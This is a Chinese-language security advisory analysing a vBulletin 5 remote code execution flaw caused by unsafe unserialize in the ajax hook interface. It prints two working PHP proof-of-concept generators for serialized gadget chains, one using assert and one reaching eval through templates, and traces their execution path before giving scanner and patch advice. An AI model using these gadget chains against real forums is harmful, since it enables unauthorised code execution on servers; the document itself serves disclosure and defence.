vBulletin 是一个商用的论坛程序套件,在全球拥有数万用户且增长速度很快。该论坛采用PHP Web语言及MySQL数据库。正是由于其用户较多,其漏洞出现频率较高,在绿盟科技漏洞库(NSVD)中共有[49条记录][1],大部分是SQL注入漏洞。此次漏洞等级较高,为远程代码执行漏洞(RCE),理论上说攻击者可执行任意代码,甚至完全控制论坛 。
vBulletin在其ajax接口使用了反序列化函数unserialize。导致存在漏洞,可以覆盖其上下文中使用的类的类变量,导致可以产生各类问题。
hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。并且攻击者还可以控制传入的$arguments的值,因此漏洞的全部演出从这里开始。
1 2 3 4 5 |
public function decodeArguments($arguments) { =》if ($args = @unserialize($arguments)) { ... |
对URL进行分解,path为vBulletin对参数进行路由转换的结果,本质也是mvc调用,vBulletin处理的格式为ajax/api/[controller]/[method],也就是说此访问页面调用的是hook文件的decodeArgument方法。query内只有一个参数,参数的名称为arguments,参数的值为一段序列化的代码。
看下输出序列化值的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<?php class vB_Database_MySQL { public $functions = array(); public function __construct() { $this->functions['free_result'] = 'assert'; } } class vB_dB_Result { protected $db; protected $recordset; public function __construct() { $this->db = new vB_Database_MySQL(); $this->recordset = 'print(\'Hello world!\')'; } } print urlencode(serialize(new vB_dB_Result())) . "\n"; ?> |
最终输出的是 serialize(new vB_dB_Result())
的值,类vB_dB_Result定义了两个protected变量,并且其构造函数对这两个protected变量进行复制,$recordset赋值为一段字符串,从poc也可看出来,$recordset的值就是要执行的代码片段。$db的赋值为vB_Database_MySQL,定义了一个数组类型的变量$functions,并给这个数组的free_result索引赋值为assert。因此可以对此进行下小结,vBulletin通过对传值进行反序列化操作,可以对其执行上下文中的变量进行覆盖。覆盖后,会产生代码执行漏洞。
首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_Database_Result类。
1 2 3 4 5 6 7 8 9 10 |
public function decodeArguments($arguments) { =》if ($args = @unserialize($arguments)) { $result = ''; foreach ($args AS $varname => $value) { $result .= $varname; ... |
接着进入foreach函数,由于$args为对象数据结构,并且当前类(vB_Database_Result类)implements于Iterator接口,因此当php在遍历对象$args时,便首先会调用其rewind()方法。[foreach遍历对象][1],[迭代器遍历][2]。以上两个链接详细讲解了php遍历对象操作的细节。
1 2 3 4 5 6 7 8 9 10 |
public function decodeArguments($arguments) { if ($args = @unserialize($arguments)) { $result = ''; =》foreach ($args AS $varname => $value) { $result .= $varname; ... |
然后跟入result.php的vB_Database_Result类的rewind()方法,此方法会调用当前类内的类变量$db的free_result方法,并且为其传入类变量$recordset的值。
1 2 3 4 5 6 7 8 9 10 11 12 |
public function rewind() { if ($this->bof) { return; } if ($this->recordset) { =》$this->db->free_result($this->recordset); } ... |
最后跟入database.php的vB_Database类的free_result方法,由于控制了当前类(vB_Database类)的变量$functions[‘free_result’],和传入的$queryresult,因此此处达成了动态函数执行,漏洞利用至此结束。
1 2 3 4 5 |
function free_result($queryresult) { $this->sql = ''; =》return @$this->functions['free_result']($queryresult); } |
同理上文的路径分析。
看下输出序列化值的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
<?php class vB5_Template { public $tmpfile; protected $template; protected $registered = array(); public function __construct() { $this->template = 'widget_php'; $this->registered['widgetConfig'] = array('code' => 'print_r(\'hello manning\');die();'); } } class vB_View_AJAXHTML { public $tmpfile; protected $content; public function __construct() { $this->content = new vB5_Template(); } } class vB_vURL { public $tmpfile; public function __construct() { $this->tmpfile = new vB_View_AJAXHTML(); } } print urlencode(serialize(new vB_vURL())) . "\n"; ?> |
最终输出的是 serialize(new vB_vURL())
的值,向类vB_vURL注入了一个public变量$temfile,并且赋值为类vB_View_AJAXHTML,而类vB_View_AJAXHTML的构造函数中,向其类内对象$content赋值类vB5_Template,最终的利用代码在类vB5_Template中$template和$registered中,含义分别是调用模板widget_php和$registered[‘widgetConfig’]的值为利用代码。
首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_vURL类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
public function decodeArguments($arguments) { => if ($args = @unserialize($arguments)) { $result = ''; =》foreach ($args AS $varname => $value) { $result .= $varname; if(is_array($value)) { $this->decodeLevel($result, $value, '='); } $result .= "\n"; } return $result; } return ''; } |
在foreach中,由于$args为对象数据结构,并且当前类(vB_vURL类)并没有implements于Iterator接口,因此当php在遍历对象$args时,只是会遍历vB_vURL类的public变量,不会产生漏洞。
由于要进行return操作,因此便出发了当前类(vB_vURL类)的析构函数。
1 2 3 4 5 6 7 |
function __destruct() { => if (file_exists($this->tmpfile)) { @unlink($this->tmpfile); } } |
由于为其$tmpfile赋值为一个对象,file_exists方法会试图把类转化为字符串,因此触发了$tmpfile对象的__toString()方法。(**由于传入的是vB_View_AJAXHTML类,vB_View_AJAXHTML类继承于vB_View类,因此触发的是vB_View类的__toString方法**)
1 2 3 4 5 6 7 8 9 10 11 12 |
public function __toString() { try { => return $this->render(); } catch(vB_Exception $e) { //If debug, return the error, else return ''; } } |
由上文可知,当前$this对象其实还是vB_View_AJAXHTML类的对象,因此进入了vB_View_AJAXHTML类的render()方法,由于定义了vB_View_AJAXHTML类的$content类对象。
1 2 3 4 5 6 7 8 |
public function render($send_content_headers = false) { ... if ($this->content) { =》 $xml->add_tag('html', $this->content->render()); } |
类对象$content已经被赋值为vB5_Template类对象,因此会进入vB5_Template类的render()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
public function render($isParentTemplate = true, $isAjaxTemplateRender = false) { $this->register('user', $user, true); extract(self::$globalRegistered, EXTR_SKIP | EXTR_REFS); =》extract($this->registered, EXTR_OVERWRITE | EXTR_REFS); ... $templateCache = vB5_Template_Cache::instance(); =》$templateCode = $templateCache->getTemplate($this->template); if($templateCache->isTemplateText()) { =》@eval($templateCode); } |
vB5_Template类的render()方法,此方法会执行extract()方法和eval()方法,并且都可以控制传入的参数,因此会导致代码执行。再看一次poc。
1 2 3 4 5 6 7 8 9 10 |
<?php class vB5_Template { public $tmpfile; protected $template; protected $registered = array(); public function __construct() { $this->template = 'widget_php'; $this->registered['widgetConfig'] = array('code' => 'print_r(\'hello manning\');die();'); } } |
也就是说,目前我们控制两个关键点。
此时代码已经覆盖了$registered变量的widgetConfig索引,因此会把数组$widgetConfig注册到全局变量内,其var_dump为
1 2 |
array (size=1) 'code' => string 'print_r('hello manning');die();' (length=31) |
然后模板widget_php存在
1 |
$evaledPHP = vB5_Template_Runtime::parseAction('bbcode', 'evalCode', $widgetConfig['code']); |
因此,导致代码执行。
vBulletin 5系列通杀的代码执行漏洞,无难度getshell。这个漏洞可以说是php反序列化操作的最佳反面教程,讲述了使用反序列化不当,造成的严重后果。既可覆盖代码的上下文进行RCE,又可利用传统的方式在魔术方法中进行RCE。 影响范围个人评价为“高”,危害性个人评价为“高”,vBulletin在全球的使用范围非常广,此漏洞在vBulletin 5版本通杀。
以[绿盟WEB应用漏洞扫描系统][4](NSFOCUS Web Vulnerability Scanning System,简称:NSFOCUS WVSS)为例,对业务系统部署WVSS,在简单的配置后,即可获得全面快速的检测能力。该系统可自动获取网站包含的相关信息,并全面模拟网站访问的各种行为,比如按钮点击、鼠标移动、表单复杂填充等,通过内建的”安全模型”检测Web应用系统潜在的各种漏洞,同时为用户构建从急到缓的修补流程,满足安全检查工作中所需要的高效性和准确性。目前漏洞相关检测产品的升级情况如下:
产品名称 | 功能 | 升级后的版本号 | 时间 |
---|---|---|---|
[WEB应用漏洞扫描系统(WVSS)][4] | 检测Web应用系统潜在的各种漏洞 | V6.0R03F00.20 | 本周 |
[远程安全评估系统(RSAS)][5] | 检测网络中的各类脆弱性风险 | V6.0R02F00.0121 | 下周 |
绿盟科技已在软件升级公告中提供规则升级包,规则可以通过产品界面的在线升级进行。如果您的业务系统暂时还无法升级规则包,那么可以在软件升级页面中,找到对应的产品,通过下载升级包,以离线方式进行升级。
相关升级信息请访问:
另外,绿盟科技蜂巢社区启动应急机制,已经实现vBulletin远程代码执行漏洞的在线检测。在社区中,大家可以进行网络安全扫描插件的开发及讨论。从漏洞分析、代码开发、安全交流等多方面来提升自己的能力。同时,安全人员可以方便获取对应插件进行安全测试,共同维护互联网安全。此次vBulletin远程代码执行扫描插件就是大家共同开发及快速上线的。
加入蜂巢社区,请联系beehive@nsfocus.com,获得注册码。
使用反序列化的地方增多了数据的种类,增大了风险。因此防护方案如下:
对于个人用户最简单的办法,就是尽快通过vBulletin官方渠道获取升级补丁,补丁获取地址: http://members.vbulletin.com/patches.php
英文链接:http://blog.nsfocus.net/analysis-vbulletin-5-x-remote-code-execution-exploit/